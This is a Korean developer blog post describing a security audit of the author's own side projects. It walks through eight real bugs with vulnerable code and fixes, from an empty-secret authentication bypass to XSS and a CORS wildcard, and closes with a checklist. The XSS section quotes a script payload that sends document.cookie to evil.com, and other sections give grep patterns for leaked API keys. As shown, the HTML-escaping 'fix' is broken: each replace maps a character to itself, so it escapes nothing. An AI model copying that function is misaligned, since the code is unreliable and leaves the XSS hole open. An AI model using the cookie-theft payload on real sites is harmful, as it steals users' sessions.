최근 내가 운영 중인 사이드 프로젝트 전체를 보안 감사했다. FastAPI 백엔드, 텔레그램 봇, PWA, Streamlit 앱 등 여러 개.
"나름 신경 써서 만들었으니까 괜찮겠지"라고 생각했다.
틀렸다.
발견한 문제 하나하나, 왜 그렇게 짰는지, 어떻게 고쳤는지 솔직하게 공유한다. 이론적인 체크리스트가 아니라 실제로 내가 프로덕션에 배포했던 버그들이다.
1. 빈 시크릿으로 인한 인증 우회 (Critical)
내가 짠 코드
_API_SECRET = os.environ.get('API_SECRET_KEY', '')
def verify_api_key(x_api_key: str = Header(default='')):
if _API_SECRET and x_api_key != _API_SECRET: # ← 여기가 버그
raise HTTPException(status_code=401)
if _API_SECRET and ... 조건을 보자. 서버에 API_SECRET_KEY 환경변수가 없으면 _API_SECRET은 빈 문자열 — falsy — 이 되어 조건 전체가 스킵된다. 모든 요청이 인증된 것처럼 통과한다.
왜 이렇게 짰나
로컬 개발 시 환경변수 안 세팅해도 서버가 죽지 않게 "우아하게 처리"하려고 했다. 문제는 그 "우아한 처리"가 프로덕션까지 올라갔고, 서버에 API_SECRET_KEY를 설정 안 한 순간 API 전체가 열렸다는 것이다.
수정 방법
_API_SECRET = os.environ.get('API_SECRET_KEY', '')
def verify_api_key(x_api_key: str = Header(default='')):
if not _API_SECRET:
raise HTTPException(status_code=500, detail='API_SECRET_KEY not configured')
if not secrets.compare_digest(x_api_key, _API_SECRET):
raise HTTPException(status_code=401, detail='Unauthorized')
시크릿 없음 = 500 에러, 오픈 액세스가 아님. 타이밍 어택 방지를 위해 secrets.compare_digest()도 적용.
교훈: 인증을 시크릿 설정 여부에 따라 조건부로 만들지 마라. 설정 누락은 오픈이 아니라 하드 실패여야 한다.
2. Git 이력에 커밋된 시크릿 (Critical)
현재 코드에는 없지만 몇 달 전 "잠깐 테스트"하려고 커밋한 API 키가 git 이력에 그대로 있었다.
# 확인 방법
git log --all -p | grep -E "sk-ant-api03-[A-Za-z0-9_-]{20,}"
git log --all -p | grep -E "AIzaSy[A-Za-z0-9]{20,}"
왜 이런 일이 생기나
초반에 빠르게 테스트하려고 키를 하드코딩하고 커밋. 나중에 .env로 옮기면서 "고쳤다"고 생각한다. 하지만 git은 모든 커밋을 영원히 기억한다. 리포가 공개되거나 팀원이 합류하면 누구나 과거 커밋에서 키를 꺼낼 수 있다.
수정 방법
# 특정 파일을 이력 전체에서 제거
pip install git-filter-repo
git-filter-repo --path .env --invert-paths --force
git push --force-with-lease origin main
그리고 노출된 키는 즉시 폐기 + 재발급. git 이력을 정리한다고 이미 일어난 노출이 취소되지는 않는다.
교훈: git에 한 번이라도 커밋된 키는 이미 탈취됐다고 가정하고 재발급한다.
3. 디버그 엔드포인트 프로덕션 배포 (High)
이런 엔드포인트가 운영 서버에 배포되어 있었다:
@app.get('/debug/config')
async def debug_config():
return {
'supabase_url': settings.supabase_url,
'environment': settings.env,
'connected_services': [...]
}
왜 이런 일이 생기나
개발 중에는 디버그 엔드포인트가 정말 편하다. 막힌 부분 해결하고 나서 지우는 걸 잊는다. 에러가 나지 않으니 아무도 알려주지 않는다.
수정 방법
지운다. 런타임 디버그가 필요하면 인증 뒤에 두거나 로그를 쓴다.
# 배포 전 체크
grep -rn '@app.get.*debug\|@app.post.*debug' app/
교훈: 배포 체크리스트에 "디버그 엔드포인트 제거 확인" 항목을 추가한다. 아니면 애초에 안 만드는 게 낫다.
4. 에러 메시지로 내부 정보 노출 (High)
# 내가 짠 코드
except Exception as e:
return JSONResponse({"error": str(e)}, status_code=500)
이러면 클라이언트에 이런 메시지가 그대로 내려간다:
FATAL: password authentication failed for user "postgres"[Errno 2] No such file or directory: '/home/ubuntu/app/config.json'Module 'xyz' version 1.2.3 has no attribute 'connect'
공격자는 이 정보로 인프라 구조, 사용 중인 라이브러리, 버전별 알려진 취약점을 파악할 수 있다.
왜 이렇게 짰나
이것도 개발 편의 때문이다. str(e) 하나로 에러 원인을 바로 볼 수 있어서 테스트할 때 편하다. 내부 에러와 HTTP 응답 사이에 레이어를 두지 않은 것이 문제였다.
수정 방법
import logging
logger = logging.getLogger(__name__)
except Exception as e:
logger.error(f"Error: {e}", exc_info=True) # 서버 로그에만
return JSONResponse({"error": "internal server error"}, status_code=500)
로그에는 모든 것을, HTTP 응답에는 아무것도 주지 않는다.
교훈: 서버 로그는 나를 위한 것이고, HTTP 에러 응답은 클라이언트를 위한 것이다. 이 두 개는 완전히 분리되어야 한다.
5. 이스케이프 없는 innerHTML로 XSS (High)
프론트엔드 코드:
articles.forEach(article => {
container.innerHTML += `
<h3>${article.title}</h3>
<p>${article.summary}</p>
<a href="${article.url}">더 보기</a>
`;
});
DB에 <script>document.location='https://evil.com?c='+document.cookie</script> 같은 제목이 들어오면 모든 사용자의 브라우저에서 실행된다.
왜 이런 일이 생기나
템플릿 리터럴이 문자열 포매팅처럼 느껴지기 때문이다. ${article.title} 을 쓸 때 HTML을 렌더링하고 있다는 느낌이 안 든다. 그냥 변수 넣는 것처럼 느껴진다. 하지만 브라우저는 거기서 HTML을 파싱하고 실행한다.
수정 방법
const esc = s => (s || '')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"');
const safeUrl = u => /^https?:\/\//.test(u || '') ? u : '#';
container.innerHTML += `
<h3>${esc(article.title)}</h3>
<p>${esc(article.summary)}</p>
<a href="${safeUrl(article.url)}" rel="noopener noreferrer">더 보기</a>
`;
교훈: innerHTML을 쓸 때마다 "나는 지금 임의의 코드를 실행하고 있다"고 머릿속으로 바꿔 읽는다. 그러면 이스케이프를 빠뜨리기 어렵다.
6. AI 엔드포인트에 Rate Limit 없음 (High)
@app.post('/analyze')
async def analyze(item: Item, _: None = Depends(verify_api_key)):
result = await ai_client.messages.create(...) # 호출당 비용 발생
return result
Rate limit 없음. API 키가 탈취되거나 클라이언트 코드가 루프에서 무한 호출하면 순식간에 큰 비용이 청구된다.
수정 방법
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
@app.post('/analyze')
@limiter.limit('10/minute')
async def analyze(request: Request, item: Item, _: None = Depends(verify_api_key)):
...
교훈: 인증은 비허가된 접근을 막는다. Rate limit은 허가됐지만 남용하는 접근을 막는다. 둘 다 필요하다.
7. 프로덕션에 CORS 와일드카드 (Medium)
app.add_middleware(
CORSMiddleware,
allow_origins=["*"], # 모든 출처 허용
...
)
API 키가 있어도 왜 위험한가
CORS는 브라우저 수준의 방화벽이다. API 키가 프론트엔드 JavaScript에 있는 경우, 다른 사이트의 XSS 취약점을 통해 사용자 브라우저에서 그 키를 이용한 API 호출이 가능하다.
수정 방법
import os
ALLOWED_ORIGINS = os.environ.get('ALLOWED_ORIGINS', '*').split(',')
app.add_middleware(
CORSMiddleware,
allow_origins=ALLOWED_ORIGINS,
allow_methods=['GET', 'POST'],
allow_headers=['X-API-Key', 'Content-Type'],
)
# 프로덕션 .env
ALLOWED_ORIGINS=https://myapp.vercel.app
교훈: allow_origins=["*"]는 로컬 개발 전용이다. 절대 배포하지 않는다.
8. 임시 파일 미삭제 (Medium)
with tempfile.NamedTemporaryFile(suffix='.xlsx', delete=False) as tmp:
tmp.write(uploaded_file.read())
tmp_path = tmp.name
process_file(tmp_path) # 여기서 예외 발생하면 임시 파일이 영원히 남음
process_file()에서 예외가 터지면 임시 파일이 지워지지 않는다. 장기 운영 서버에서 누적되고, 파일에 사용자 민감 데이터가 있으면 디스크에 계속 남아 있다.
수정 방법
tmp_path = None
with tempfile.NamedTemporaryFile(suffix='.xlsx', delete=False) as tmp:
tmp.write(uploaded_file.read())
tmp_path = tmp.name
try:
process_file(tmp_path)
finally:
if tmp_path and os.path.exists(tmp_path):
os.unlink(tmp_path)
교훈: 파일을 만드는 코드 경로는 반드시 삭제도 책임진다. finally는 예외가 나도 반드시 실행된다.
내가 지금 따르는 체크리스트
이번 감사 이후 모든 프로젝트에 강제 적용하는 체크리스트를 만들었다:
코드 작성 전:
- [ ]
.gitignore생성 (.env,*.key,sessions/,credentials.json) - [ ]
.env.example생성 (실제 값 없는 템플릿)
모든 엔드포인트:
- [ ] 인증 추가 (시크릿 없으면 우회가 아닌 500 에러)
- [ ] 에러 응답은 제네릭 메시지만 (
str(e)금지) - [ ] AI/비용 발생 엔드포인트에 rate limit
프론트엔드:
- [ ] 모든
innerHTML사용에 이스케이프 처리 - [ ] URL은
https://로 시작하는지 검증 - [ ] 외부 링크에
rel="noopener noreferrer"
커밋 전:
git diff --cached | grep -E "AIzaSy|password\s*=\s*[^\$\{]"
git diff --cached --name-only | grep -E "^\.env"
배포 전:
pip-audit -r requirements.txt
npm audit
왜 이것들을 놓쳤나
솔직히 말하면: 보안을 기능 개발 이후의 별도 단계로 취급했기 때문이다.
패턴은 항상 같았다:
- 일단 기능 동작시키기
- TODO 주석 달기: "나중에 정리하자"
- 나중은 오지 않음
- "임시" 코드 그대로 배포
보안 이슈는 의도적으로 만들어지는 게 아니다. "나중에 고치려던" 코드가 쌓인 결과물이다. 내가 찾은 유일한 해법은 보안 체크를 자연스러운 타이밍에 끼워 넣는 것이다: 커밋 전, 배포 전, 프로젝트 시작 시점.
버그 자체는 지루하다. 사후 수습 비용은 그렇지 않다.
FastAPI나 비슷한 백엔드를 운영 중이라면 위 패턴으로 직접 확인해보는 걸 권장한다. if _SECRET and key != _SECRET 인증 우회는 생각보다 훨씬 흔하다.
Top comments (0)